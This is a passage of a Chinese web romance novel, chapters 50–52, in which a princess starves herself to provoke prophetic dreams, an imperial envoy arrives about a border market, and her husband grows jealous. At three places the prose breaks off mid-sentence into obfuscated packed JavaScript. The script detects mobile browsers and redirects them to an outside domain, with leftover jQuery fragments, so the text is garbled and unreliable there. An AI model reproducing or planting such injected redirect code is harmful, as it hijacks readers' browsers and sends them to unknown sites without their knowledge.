“我饱了,吃不下了。”封眠搁了筷子不肯再动,若不是担心被瞧出她故意饿肚子的端倪来,她连这两口粥也是不想喝的。 说不定再饿上一整日,便能如愿做梦了,可不能功亏一篑。 百里浔舟狐疑地瞧她,总觉得哪里不对,又不好判断她晨起时的胃口是不是当真只有这么一点? 他刚想问一问流萤或是雾柳,前院的小厮忽然闯进了院子里,说盛京来人了。 封眠更是顾不得用早膳了,盛京来人必然是带着嘉裕帝的信来的,那就是互市一事有消息了! 她忙不迭追问:“到何处了?可知来的是什么人?” “现下已到府上了!王妃一得了消息,便立即命小的来报与世子妃。来的是户部的顾大人,听说还是今科状元呢。” 封眠神色微微一顿,顾春温?竟是他来了? 转念一想,既是他来,莫不是互市一事,稳了? “快快,推我到前院去。”封眠唇角一勾,吩咐起人来。 她眉梢眼角扬起的喜意,落入百里浔舟眼中,让他莫名有些在意。 就这么高兴见到那位状元郎? 他上前两步,脚步踏得用力,挤开站到素舆后的小厮,双手扶上了推手,不容拒绝道:“我也应去前厅见一见盛京来的客,顺手送你过去吧。” 前厅,身穿绯色官袍的俊秀青年正挂着和煦的笑容与王妃寒暄。 他生了一张任何长辈都会喜欢的温秀面孔,说话亦令人如沐春风,交谈的这片刻时间里,王妃的嘴角就没下来过。 顾春温面上十分自若,实则心下已不能自抑的砰砰狂跳起来,余光不知往门厅方向瞥了多少下。 他日夜兼程从盛京一路赶来,上京赶考的那段路都远不如这段路煎熬。一到夜时便多虑多思,想着这一路辛劳,北地与盛京风物殊易,郡主去往北疆的一路上又吃了多少苦头呢? 又想不知百里浔舟到底是个什么样的人,郡主在北疆可有受气?亦或者两人当真是姻缘天定,一见钟情? 这种可能性想一想,心底难免泛出点酸意来。 他盼着郡主过得顺遂和乐,又好似不大想她与世子太过鹣鲽情深。 他分明也只在暗处见过郡主两面,对她所知的一切皆是听闻。但时间的流逝并未让他忘却那一日惊鸿一瞥,反而将其冲刷打磨得愈发熠熠生辉,心底的那抹悸动亦是一日强过一日。 一眼万年,大抵如此。 他都忘了,郡主应是从未见过他的,甚至连他这个人都未必听说过。 在不知暗暗瞥了多少眼之后,门厅方向终于传来了脚步声,以及车轮轧地的辘辘声。 顾春温与王妃话刚说了一半便突然止了话头,扭头看向门厅处。 先自门外拐进来的是一辆素舆,而封眠正端坐其上。 “郡主?!”顾春温瞳孔骤缩,霍然起身,急急上前两步才突然察觉不合礼数,顿足行礼。 他分毫目光也未分给推着素舆的百里浔舟,满腔惊忧之意压也压不住,“郡主,你的腿……” 他脑海中这一瞬间闪过许多种糟糕的可能性,却一个字都没敢问出来。 封眠见他眼底惊忧之色不似作伪,也有些惊讶他竟如此关切自己? 看来这位状元郎当真是极富善心之人,难怪她最初梦到与他成婚的史书上写着二人琴瑟和鸣,自成佳话。嫁与一个本身就很好的人,婚姻自然是顺遂无忧的。 “我的腿没事,只是前两日磨破了脚,不大方便下地。”封眠急忙解释道,既不想让人担忧,又担心他对王府产生什么误会。 听闻只是磨破了脚,顾春温先是松了口气,接着又蹙起了眉心,“郡主遇着了什么事,怎会磨破了双脚?” 他终于看向了百里浔舟,线条柔和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192106|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼眸中现出几分厉色。“若叫陛下知道了,定当十分担忧的。” 郡主出行皆有车马,便是不坐车马,徒步在云中郡内逛上一日,也不至于便将双脚磨成需要乘坐素舆的惨状。 百里浔舟到底是如何照看郡主的? 百里浔舟不闪不避地与他对视着,神色不大爽快。 许多人都未改口唤封眠世子妃,仍旧叫着郡主,百里浔舟从不觉着有什么,以身份地位来看,她确实首先应是郡主,其次才是他的世子妃。 可不知为何,面前这人一叫,听在耳朵里就不大舒服。 “世子妃心怀百姓,才不慎伤了脚,想来陛下若是得知,更会为世子妃而骄傲才对吧。”百里浔舟开口时,严谨地替换了关于封眠的称呼。 封眠没察觉有何不对,王妃却多瞧了他一眼,端起茶盏遮掩唇边笑意,解围道:“好了,都坐下说话。” “顾大人千里迢迢带着圣命而来,关切郡主那是再应当不过的。顾大人也莫要着急气恼……” 王妃三言两语地将前几日发生的事与顾春温说了个清楚。 顾春温听得怔然,望着端坐于素舆之上的封眠,眼前便仿佛出现她在暴雨后泥泞的山间以身犯险去救人的画面。 就像当初他看见她义无反顾跳下水去救一个奴婢那般。 从盛京到北疆,千里之遥,山河远阔,唯郡主赤忱如初,风骨未改。 “难怪入城时,见城门两侧多了几间营帐,我还当是世子殿下被王爷扫地出门了。”顾春温回过神来,还不忘开了一句玩笑。 百里浔舟:…… 他就觉得这人讨厌得很。 “想来郡主也猜到臣此番为何而来了。”顾春温再次看向封眠,言辞温润,“陛下已允准郡主所言之事,特命微臣辅佐。不知郡主心下可是已有了成算?” 他一开口,百里浔舟眉心的皱褶就没解开过。话里话外藏头露尾的,就是不说陛下到底允准了何事,当着他的面与封眠打哑谜? 待顾春温说罢,百里浔舟直截了当地问封眠:“陛下允准何事?可是你先前写家书时,说的那个可以阻止部分北夷部族联合的法子?” 哼,谁与谁之间没有点秘密似的。 封眠有些惊讶他竟然还记得此事呢,当下笑着点了点头,把互市的主意又与他和王妃交了个底。 陛下都应允了,更是说明此事可行,王妃虽是担忧,却没再多说什么。 百里浔舟思虑却多,“北夷三十六部与沿边的百姓之间都多有摩擦,未必就能平心静气地做起生意来。” “所以第一场互市要选择的地点和部族就格外重要。世子且放心吧,我与顾大人定会谨慎行事的,到时定了计划,还要请你掌掌眼呢。” “世子快些去府衙忙吧。”封眠冲百里浔舟眨眨眼,又看向顾春温。“顾大人,我先带你去云中郡熟悉一下,顺便聊一聊互市的事。” 听她这么一说,百里浔舟刚迈出的步子收了回来,“你不能去。” 在场众人的目光都一齐聚到了百里浔舟的身上。 百里浔舟轻咳一声,讲出自己非常正当的理由,“郡主腿脚不便,还是在府中多休息为好。我看不如让陆大人先陪顾大人在城内转一圈,待顾大人对云中郡有了些许切身了解后,郡主应当也养得差不多了。” “到时再议也不迟。” 到时他忙完了府衙那一摊子事,便也能跟着参详一翻。 顾春温瞧他一眼,自然知道他打地是什么主意。但他同样不愿郡主拖着伤脚忙碌,便主动应了,“陆大人说得是陆鸣竹吧?我们是同窗,正好也许久未见,可以一起叙叙旧。” 封眠乐得不用坐素舆出门,吩咐人带着顾春温去找陆鸣竹。 50. 第 50 章 眼瞅着人都走了,王妃热情地拉过封眠的手,邀请她道:“今日备了新菜式,王爷又临时有事回不来了。你不如就别回院子了,留在此处与我一道用午膳?” 那她就不能继续饿肚子了呀! 虽然对王妃的提议十分心动,但封眠可不能留下,否则便真是白饿了。她凑近些,悄悄说自己要趁着世子殿下不在府上,再试着研究一些能跟即食汤饼相媲美的食物。 “虽说我现下有足够的银子买来粮食接济灾民,但授人以鱼终究不如授人以渔。”封眠挽住王妃的手臂,带着歉意撒娇道,“所以今日恐是不能陪母亲用膳了,待我研究出来,定第一个给母亲尝,以做赔罪。” 王妃自然不会怪她,高高兴兴地应了,“那我可边等着了。” 只是过了王妃这一关,流萤和雾柳可不好糊弄,封眠眼珠一转,回到寝屋便找了借口:“昨夜世子鼾声太响,吵得我一宿都没安睡。我要补个觉,你们两个可帮我看好了门,不许旁人打扰。到了饭点也莫来扰我,待我睡够了再说。” “记住了,我没醒之前,谁也不许进来喊我,否则我要生气的。” 流萤和雾柳哪想得到封眠这么说是为了不吃东西,便就这么被拦在寝屋外头。 流萤有些困惑:“可郡主之前不是说,世子爷睡觉时没什么声响吗?” “许是累着了吧。”雾柳拉着流萤到廊下坐下,“且让郡主歇息吧,趁此时无事,咱们替郡主挑挑花样子,天气一日一日暖起来了,也该制些新衣了。” “对哦对哦。”身为郡主身边最得用的两个丫鬟,她们可得将郡主的衣食住行都打理好了。 * 陆鸣竹听见下人来报,说郡主身边的人过来了,还当是郡主亲自来了,很是整理了一番仪容才迈出门去。 这几日他替郡主参详着应该先在云中郡周边的哪些城镇开设分店,也是忙得脚不沾地。 也不知是不是郡主此前和他说的那套“祸兮福所倚”的话语深入了他的心间,他觉得自己近日都没有那般倒霉了。 应当面跟郡主好好道个谢才是! 陆鸣竹急匆匆往外走,脚步轻快地像枝头的鸟雀,心里一遍遍地打着腹稿。 他还想着要汇报一下分店址挑选的进度,在此事落成之前,他本都不好意思去打扰郡主的。 没想到今日郡主自己就来……了…… 雀跃的心情在看见出现在自己面前的高挑青年时戛然而止,陆鸣竹万分错愕:“顾兄?!” 他脚步倏地一顿,下意识抬眼向顾春温身后张望了一下,并没瞧见熟悉的身影。 顾春温将他下意识的反应尽收眼底,双眸微眯,飞快地将他周身扫视了一遍,看出他明显整理过的痕迹,目光落在他腰间佩着的刻有“清平”二字的玉牌时微微一凝。 再抬眼时,神色已恢复正常,调侃道:“陆兄见到我好似很失望的样子,这是盼着什么人来呢?” “哪里,我只是没想到顾兄竟然会来北疆。”陆鸣竹心下有些失落,垂眸敛了心神,再讪笑着迎上前,未注意脚下微突的砖石,被绊了一跤,踉跄向前跌去,腰间垂挂的玉牌荷包在空中一荡。 顾春温眼疾手快扶了他一把,“哎,便是道歉也不必行如此大礼。” 陆鸣竹“哈”地一声笑了出来,短促笑过后,忙不迭地垂首检查腰间玉牌有无闪失,指尖珍而重地抚过玉牌上的刻字,方才舒了口气,放下心来。 “咦,这不是郡主的玉牌吗?”顾春温佯做出刚刚才看见玉牌的样子,看似不经意地开口揶揄,“怎么在你手上?世子殿下若瞧见了,怕是要吃飞醋了。” 轻触玉牌的手指微僵,藏不住心思的陆鸣竹瞪一眼顾春温,“顾兄可慎言吧,郡主将玉牌交予我,是有要事托付我的。更何况世子殿下……” 话音滞在喉间,几日未见了,他真不好断言世子殿下现在待郡主的心意有没有改变,毕竟郡主是那般好的人,朝夕相处间,对她生出些好感才是再自然不过的事吧。 若是分毫也没有,那世子当真是眼瞎了。 陆鸣竹这般想着,咬断了口中未尽的话音,反问道:“所以顾兄你怎么突然来北疆了?莫不是为了将即食汤饼纳入军需一事?” 但此事给秦王传个旨不就好了,怎么还劳动状元郎跑一趟。 他一面说着,一面领着顾春温穿过庭院。 顾春温轻笑颔首,此事倒也算是他此行顺带要做的一桩小事,但他偏不接着说,而是又问道:“郡主大婚也有些日子了,你可有计划何时回京?” 陆鸣竹此行,本就只是做个执礼官而已,待大婚礼成,他也应当择日回京了。鸾仪卫中的半数人亦是如此。 但直到今日被顾春温提出之前,陆鸣竹和指挥使都未想起过这回事来。 陆鸣竹心情又沉郁了几分,但他是有正当滞留理由的,“郡主吩咐的事还未做完呢,怎么也要一个月、一两个月才行吧。” 离京前,陛下可是嘱咐他们万事都听郡主吩咐的,既然京中没有召回的旨意,再拖上两个月都是行的。 思及此,他忽然警觉地看向顾春温,顾兄该不会是带旨来传召的吧? “陛下谴我传一道旨意。” 陆鸣竹心下一凉。 “陛下允准郡主在北疆开通与北夷的互市,并命我等随侍。你与鸾仪卫怕是两个月后也回不了京了。”顾春温故意觑着陆鸣竹的神色,将一句话掰成了两半讲,果然见他神色跌宕起伏,瞬息便转了几道情绪,顿时心下又好笑又叹息。 陆兄看来当真是被绊住了脚,不想走了。 看着陆鸣竹,他心底不由冒出“同病相怜”四个字来。 听了这话,陆鸣竹阴霾顿消,展颜一笑,“哦,那真是太可惜了。” 然后才轻咦了一声,眼前一亮,“郡主要开互市?” 他心潮澎湃起来,这若办成了,那可是利好民生的大事,“事不宜迟,我们快些去找郡主详谈。” “哎,郡主现下不便。”顾春温将人拦下,见他一脸茫然,不由挑眉,“你还不知道?” 闭门好几日的陆鸣竹茫然摇头,待听得顾春温讲到郡主伤了脚不良于行,恨不能立即去王府探望,偏又不能去,还得带着顾春温逛北疆,只能兀自将满心的担忧,都化作对郡主的称赞,喋喋不休地讲着郡主来了北疆后的一应“壮举”,并翘首以盼第二日。 另一边的百里浔舟亦是不放心,忙完便从府衙直接回了王府。 时至日暮,他踏进院子,却见流萤和雾柳都在寝屋外站着。 “怎么不进去伺候?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199715|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 正垫着脚向屋内张望发愁的两人闻声吓了一跳,回身看见百里浔舟,如同看见救命稻草一般迎上去。 “世子殿下您可回来了,郡主睡了一整日,什么东西都没吃,您快去将她喊起来吧。” 百里浔舟:“……你们就放任她这么睡着?” 流萤着急:“郡主吩咐了,她若不醒,不准去唤,否则要生气的。” 郡主轻易不生气,也几乎从不责罚他们,但她们也不能仗着郡主宽厚,就不听她的吩咐呀。 百里浔舟:“……我去唤,她就不生气了?” 雾柳:“郡主虽说了不许旁人进去打扰,但世子殿下您可是郡主的夫君,您怎么能算是旁人呢!” 这话听在百里浔舟耳中,确实有几分受用。 雾柳再接再厉道:“郡主今日就晨起后用了几口粥,旁的什么也没吃,这般饿着肚子睡觉,哪里受得了呀。” 百里浔舟待不住了,抬脚便推门往屋里走。便是灾民还一日三碗稠粥呢,郡主若是只一清早吃了那么点东西,就算再困也早该饿醒了,这么久还没动静,别是生病了! 他疾步绕过屏风,撩开遮光的床幔往内一瞧,封眠歪着脑袋蹭在被褥上,昏暗光影下都能瞧得出脸色苍白,额头似有冷汗。 “郡主?郡主?封眠!”百里浔舟喊了几声也不见她醒,一手去探她的脉搏,微弱又缓慢。 这哪里是睡着了,分明是晕过去了! “快来人!” 一阵兵荒马乱之后,被喂了一碗甜水的封眠迷迷糊糊睁开眼时,便瞧见百里浔舟一张放大的臭脸,眼神阴沉沉的。 她吓得向后一缩,有些茫然。 “醒了?”百里浔舟黑着一张脸将手中盛着糖水的瓷碗搁到一旁。 封眠舔了舔唇,嘴巴里甜蜜蜜的滋味还萦绕着,便被百里浔舟瞧得有些发苦了,“我不过睡了一觉,你干嘛这么瞧着我?” 她目光悄悄往旁边溜了溜,便见屋内灯烛俨然。好吧,她一觉睡到天黑,可能是久了些。 视线再往上一抬,却瞧见流萤一张哭脸,和雾柳一张冷脸,又是吓了一跳。 “怎么了这是……?” 耳畔传来一声冷笑,百里浔舟像拨愣箭羽一样将她的脑袋拨正,冷然的眸子望入她眼中,咬牙道,“睡了一觉?你那是饿晕了!” 啊,糟糕…… 封眠抿抿唇,心虚地垂下眼,又被他勾着下巴一抬,被迫继续被他一双冷目盯着。 “你入睡时,腹中可觉饥饿?” 见封眠视线飘忽一瞬,百里浔舟便知道了答案,心下更气。 天晓得发现人晕过去时,他一颗心都快停跳了!她怎么还能睡得着? 偏偏瞧她初醒过来脸色苍白的模样,他除了摆出这幅冷冰冰的样子震慑一二,真是发不出火,只能接连质问:“做什么饿着自己?” “饿着肚子也不知道起来吃些东西?” “你怎么能睡得着呢?” 她倒是睡得安心,晕得干脆,真将人吓死了。 封眠眼睫颤了颤,也不答话,慢吞吞地屈起腿,抱住了肚子,飘忽的视线重新挪正,睁着湿漉漉的杏眼望着百里浔舟,开始示弱,“好饿啊……先吃点东西呗?” 百里浔舟:…… 51. 第 51 章 没有人能拒绝苍白虚弱的封眠可怜巴巴的请求,尤其在她主动示弱的时候。 流萤很快端来了一碗红枣山药羹,温热香甜,一口下肚甜嘴又暖胃。 封眠用了小半碗,颊侧总算没有那么苍白。 久未进食,雾柳也不许她再多吃,收了碗便硬邦邦道:“待睡前,郡主再用些杏仁茶垫垫。明早才可如常进食。” 封眠借着她收碗的动作,勾住她的小指晃了晃,带着些许讨好,“别生气了,我也不是故意饿晕自己的。” “奴婢没生气。”要说更多的情绪,实则是自责与懊恼,做奴婢有时当真不能太听话。 “你……昨日就开始不怎么吃东西了吧?”一旁的百里浔舟瞧她与婢女撒娇有趣,心下却也十分狐疑。他总觉得她是故意饿着自己的。但苦于实在没什么证据,况且他当真不知饿肚子对她有什么好处? “昨日那是真的没有胃口。”封眠毫不心虚地为自己的行为打补丁,“今日也是当真累了,我也不知怎么睡过去就没醒过来……” 她撒谎了,其实中间她几度饿得睡不着,只能哄着自己入睡,翻来覆去的,终于晕了过去。 以为是睡着了,没想到原来是晕过去了啊。 她垂眼拨了拨手指,还好还好,虽说是晕过去的,该做的梦还是做了,往后应当没什么需要她再饿肚子的事了。 只要度过眼前的难关即可。 “我……我当真有那么吵?”听她这般说,百里浔舟不自信地问道。 往日在军营中,他才是那个嫌弃众人呼声震天的人,今日竟轮到他自己被嫌弃了。大受打击的同时,更添了些扰了封眠清净的歉疚。 “倒也……”封眠这才想起来自己为了独自安睡,随口说来诓骗流萤与封眠的借口,如今被百里浔舟澄黑的眸子一盯,看着他备受打击的模样,心虚才后知后觉地漫上心头。 她忙摆摆手,“''是我自己睡不着,跟你没关系。” 百里浔舟没答话,垂眸不知在想什么,半晌抬头时便说起了另一件事,“府衙已经派人逐户去按照户籍文书排查此前被拐的孩子们了。那群拐子被抓的消息传了出去,晌午后还有人主动上衙门报案,说自己就是被拐来的。” “折夫人也来了,说当日你作坊中那个姑娘毕竟是她介绍的牙婆买来的,她多少也要负些责任,这两日会派人帮着一起去排查。” “那个姑娘今日也来了,她叫……” “蔡小田。” “对,蔡小田让我代她向你道一句谢,谢谢你相信了她的话,抓住了那群恶人。” “我们也应谢谢她才对。若不是她鼓起勇气向我求助,这件事情还不知道要压到什么时候才能爆发。”封眠想了想,说道,“明日我派人去给她送些东西吧。” “勇敢的人,应当受到奖赏。” 闻言,百里浔舟略愣了一下,他竟没想到过,一个被辗转卖了几手的姑娘冲出来求助时,是需要极大勇气的。她并不能确定郡主会否相信她的话,也不能确定郡主是否会帮助她。 尤其,她知道那伙人背后有大官撑腰,她更不知道看起来和善的郡主是否与那些人有权利纠葛。一站出来就意味着没有了后路,孤注一掷。 他的目光柔和下来,点了点头,“最迟三日之后,便可派人陆续将这些人护送回乡了。” “这么多年过去,也不知他们家乡如何变化。”封眠总是会多想一点点,若是他们回了家乡,却发现物是人非,已寻不到亲人踪迹,也未必会想留在家乡。 “若是回乡走过一遭,他们还想再回来,便也一并回来吧。” “回去的路费,护送衙役的赏银,都从我私库走吧。” “那怎么能成?” 百里浔舟正拒绝着,便见封眠杏眼一抬,不容置疑道:“我有钱。定北王府和云中郡府衙的那些银钱,本就捉襟见肘了吧?我可是带着厚厚的陪嫁过来的,云中郡赚钱的铺子近半数都是我的,此事你不许和我争。” “况且护送一路也是颇为受苦的,赏银到位了,才能让衙役们心甘情愿地做事。不然到时半路将人丢了折返回来,或是生了歹心想要霸占人家辛劳几年的全部家当,护送一事可就成了好心办坏事。” 虽说这些都是极差的情况,但封眠可不敢赌。人命只有一条,便是有银子也买不回来。 北疆的官府是当真不富裕,并未说要给那些衙役们额外的赏银,确实有那么一两个露出了不大高兴的神色。 但是…… “动用新妇陪嫁,这不好吧?” “你分明就很心动。”封眠微眯双眸,凑近了瞧他。 百里浔舟实在不大会遮掩神色,被她这般一盯,便忍不住笑了出来,锋锐的眉眼柔和起来。 “实话说,能帮百姓谋些实在的好处,便让人说我是靠夫人帮衬的软蛋又如何?” “你又不是那种恨不能将手直接塞进夫人兜里的混账,我这些钱拿出来也是做正事的,到时他们承的是“郡主”的情,又不是“世子妃”的情。若有人想嚼舌根……”封眠微扬下颌,“便让他们嚼去。” 封眠神色骄矜,眼底蕴着狡黠之色,瞧得百里浔舟亦是心头一烫,更说不出拒绝的话了。 待封眠用过杏仁茶,准备洗漱了,百里浔舟便准备走,“今晚我去睡书房,你好好休息。” “等等。”封眠反手将他的袖子拽住,瞪圆了眼,“你突然去睡书房,母亲肯定要担忧的。” “不让母亲知道就好了,总不能再吵你一夜。”百里浔舟根本没信封眠说他一点也不吵的话,她那般会说话、会给人留面子,定是哄他呢。他总也要有些自知之明才是。 封眠:…… 封眠更愧疚了,揪着袖子不撒手,“府中下人这么多,母亲怎么能不知道呢?下人们都知道了,云中郡的百姓也就知道了。说不定明日晨起,街头小巷便都是你我生了龃龉,争吵分居的传言了。” “哪有那么多……”百里浔舟刚想说哪有那么多人盯着他们两人看,就想起之前他的抗婚言辞就引起了全城百姓的关注和行动,紧接着又想起大婚后山衣说“府上就这么几个主子,不嚼您的嚼谁的?” 府上的下人和云中郡的百姓,确实是会盯着他们俩看啊。 百里浔舟略一踟蹰,封眠便将他往床边拽,“可别说什么去书房的话了,只要你回府上,就不许去住书房!” 她顿了顿,又补充道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205321|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你真的不吵。” 封眠的力气只有丁点大,百里浔舟根本没做反抗就被摁在床边坐下了,便也干脆“认命”,再不提去睡书房的事。 只是晚上“吵”的人,却变成了封眠。 她睡了一整日,往床上一躺便精神得很,翻来覆去都寻不着睡意,忍不住就想与人说说话。 “你睡了吗?”她微微侧首,看向另一侧模糊的轮廓。 今夜屋内留了盏罩着厚厚灯罩的烛灯,屋内多了一线昏暗的光,恰好将百里浔舟侧颜的线条描摹出来。 他一动未动,闭着眼睛答话,“没有。” “那你陪我说说话吧。” “嗯。”百里浔舟应了一声,接着屋内就陷入了一片沉静。 半晌,他先开口道:“郡主想说什么?” 封眠思忖着措辞:“你看,互市这么重要的事,舅舅也同意交给我做了,他是不是很信任我?” 这是睡不着,想听夸赞声了? 百里浔舟:“郡主聪颖果敢,主动提出了互市一事,陛下想来也是认为郡主心中定有成算,相信郡主定能做好互市。” “从小到大,我想做的事,舅舅几乎都允了。” 只要不是特别调皮,特别有失县主身份的,封眠确实很少有什么事是不能做的。 “陛下很是疼爱郡主。”百里浔舟努力附和。 “是啊,所以舅舅爱屋及乌,定也会很疼爱你的。”封眠见引到正题上,赶紧将心中预设好的说辞一股脑倒了出来,“所以你日后若是有什么想要的东西就与我说,我和舅舅提,他一定都能允的!” 只要别造反,做什么都行。 封眠将自己目前总结的百里浔舟造返的缘由简单列了三点—— 第一,王爷去世; 第二,定北王王位未能世袭; 第三,有可疑人士从旁挑拨。 第一条已经暂时解决了,第二条问题也就不复存在,至于第三条,封眠已经“买通”了姚知远,也日日密切关注着百里浔舟的日常动向,目前还并没有接触过什么可疑的危险分子。 是以封眠现下有八成是安全的。 只是根据之前发生的事来看,她改变一些事情,另一些事情就会相应的发生变化,所以还是不能掉以轻心。 百里浔舟睁开了眼,莫名觉得被嘉裕帝疼爱有些瘆得慌,不自在地动了动身子。 封眠还当他是有事不好意思开口,自己思索了两秒,自认为找到了他纠结的症结,“我知道,你想要和离嘛。你放心,过几年等一切都安稳下来,我就去跟舅舅说。” “就说是我另外有了心上人,舍不得让他不明不白的做面首,想给他一个名分。然后再找些术师将他的命格也捏造得天花乱坠,舅舅应该也不会不同意的。” “怎么样?这下安心了吧?” 百里浔舟:…… 她怎么能连如何操作和离都已经想得八九不离十了? 他应该安心吗? 百里浔舟静了半晌,只觉得心头乱乱的,猛地扭头看向身侧。封眠恰好也在看他,乌黑的眼珠在夜色中亮亮的。 “你这般问我,心中是不是已经有人选了?” 52. 第 52 章 百里浔舟的话将封眠问懵了一瞬,支支吾吾了半晌没答出话来。 听见这嗯嗯唔唔的小动静,百里浔舟还当她是不好意思与自己说,心下仿佛盛着一汪池水,正咕嘟咕嘟地往外冒着酸气儿。 他强压着那一份异样的感觉,语调十分正常地说:“嗯,那你与我说一说,你喜欢什么样的男子?我可以帮你提前寻一寻。” “既然要用这个理由跟陛下提和离,还是有一个真心喜欢的人选才好,总不能委屈你。” 封眠一听,也是,干嘛要委屈自己呢? 她开始进行一些思考。 之前在盛京时,她也是私下搜罗了满盛京青年才俊的信息,进行过一番挑拣的,那时她筛选的几个条件有…… “嗯……我理想中的夫君应当是温润如玉……” 这词一出,百里浔舟的嘴角又往下撇了三分。 “温润”这个词儿从来就与他无关。至于“如玉”么,母亲曾评价他犟得像块石头,玉与施,似乎勉强也能有一分搭边儿。 接着又听封眠道:“不必多有才华,但一定要生得好看。” 百里浔舟的嘴角抿得平直。 他虽不想自夸,但打小时起,凡是见过他的叔娘婶伯们都夸他是个俊俏后生,想来也算得上符合这一条。 “不必多有钱,但家中人际关系要简单,最不能有的就是恶婆婆。” 她自己的钱都未必能花得完呢,所以并不强求要找一个金龟婿。 只是后一点是极为重要的,毕竟女子嫁人,皆是嫁入夫婿家中,与他的家人成为新的家人,若是家人不好相处,夫婿再好,也总是有些麻烦。 虽说她堂堂郡主,不高兴了大可带着夫婿回郡主府单过,但麻烦事么,能少一点便还是少一点。 百里浔舟的唇角微微弯了一弯。 他家中人口可是太简单了,母亲与她也十分合得来,这一条自是完美契合。 封眠又道:“还要有善心,行善举,无不良嗜好。最重要的是,不能处处拘着我。” 最后一条是封眠新加上的,往日在盛京时,舅舅时常拘着她,自打来了北疆,她身上的枷锁仿佛尽数被斩断了,行事都自由了许多。 人一旦体验过自由,哪还过得回从前那种处处拘礼的日子呢? 这也是封眠觉得北疆强过盛京的一点好处,不必因为成婚了便镇日里只能在后宅走动,一举一动都被外头的人评头论足。哪怕是姨母那般尊贵的身份,四处游历时有一两件桃色传闻传到盛京去了,都有几个老古板的御史要没事找事上书弹劾。 这句话却是让百里浔舟的嘴角向上翘起三分。 他知道自己的名声在外头并不是什么大善人,但爱护百姓、守家卫国,自然算得上行善事。 他从不去花楼赌场,除了偶尔陪父亲小酌,也算得上是滴酒不沾,嗯,没有什么不良嗜好。 至于拘着她?他连自己都不拘着,做什么拘着她? “大概就先这么多吧。”封眠有些词穷了,她心中没个具体的人,之前这些挑选的标准,大多也都是学其他闺秀的,再编不下去了,干脆抬眼看着百里浔舟,“你有什么合适的人选吗?” 百里浔舟一个激灵。 是啊,这是给她找心动的人选呢,他为何在这里对号入座? “你等我盘算一下。”他丢下一句话,便开始在心里对比。 温润如玉。 姚知远这个读书人勉强也能沾得上一点边,只是么……他颇为嫌弃地想,生得只能算是秀气,可没有他好看。 况且姚知远整日除了想着如何吃好喝好,脑子里哪有一点能装情爱的地方?定是配不上郡主的。 只是除了姚知远,北疆怕是再挑不出一个温润如玉的来了。 百里浔舟的思绪不自觉就飘到了从盛京来的读书人身上。 一开始先冒头的,是陆鸣竹。 被否决的也快,他听说这人运气不好,定是过不了嘉裕帝那一关的。 让百里浔舟潜意识里觉得有些威胁性,被压到最后才缓缓浮现的人选,便是顾春温。 他倒真是生得温润如玉,相貌也还不错,只是不知家中是何情况,跟自己比起来有什么优势没有? 百里浔舟越想心里便是越闷,他想着,近日天气真是越发热了,晚上应当开窗睡的,都感觉呼吸不到新鲜空气了。 他闷闷地开口:“你这要求……” 封眠反问:“我要求很高吗?” 百里浔舟道:“要求自然不高。你想要什么样的男子,那都是应当的。” “只是全天下能符合这些标准的男子不多罢了。” “这是他们的问题,不是你的问题。依我之见,你且慢慢再看,此事急不得的。” “我……也没这么着急。” 他急于结束这个话题,转而开始催封眠赶紧睡觉,“你昨夜本就没睡好,今天又睡了一整日,今晚再不好好睡,往后作息就不正常了。” “可是我睡不着呀。”封眠长叹口气,蓦地翻了个身,一手屈起压在脑袋下,“你给我讲个故事听吧。” 百里浔舟无奈:“我都没听过睡前故事,能给你讲什么呢?” “小时候太子哥哥哄我睡觉,会给我讲一些志怪故事,后来被舅舅训了,便开始讲《论语》,讲两句我便睡着了……” 《论语》助眠效果极好,但她现在也不想再听了,实在有些枯燥。 她眼睛一转,兴冲冲道:“你可以给我讲讲你行军打仗的那些故事啊。” 百里浔舟失笑:“睡前故事讲这些,太血腥了吧。” “你讲讲北疆三十六部嘛,马上要开互市了,自然还是要知己知彼。书本上写的那点东西,定然没有你这位小将军知道的多。” 被轻飘飘地夸上了这么一句,百里浔舟的唇角更是压不住了,将自己对北疆三十六部的认知与心得娓娓道来。 封眠听得津津有味,一开始还“嗯嗯”、“然后呢”、“哇怎么会这样”地捧场,过了半晌,便渐渐没了声音。 百里浔舟微微侧首,只见她闭上了眼,呼吸平稳,已然睡着了。他收了话音,不再继续说,微微半支起身探过去,将封眠压在脑袋下手轻轻拿了出来,免得她睡醒后,手被压麻了。 躺下后,他却因封眠之前的话有些睡不着了。 “你说她这是什么意思呢?”第二天,百里浔舟对着姚知远闷闷开口。 姚知远挑眉:“世子是何意?” “她分明从很早的时候就……就说有些喜欢我了。” 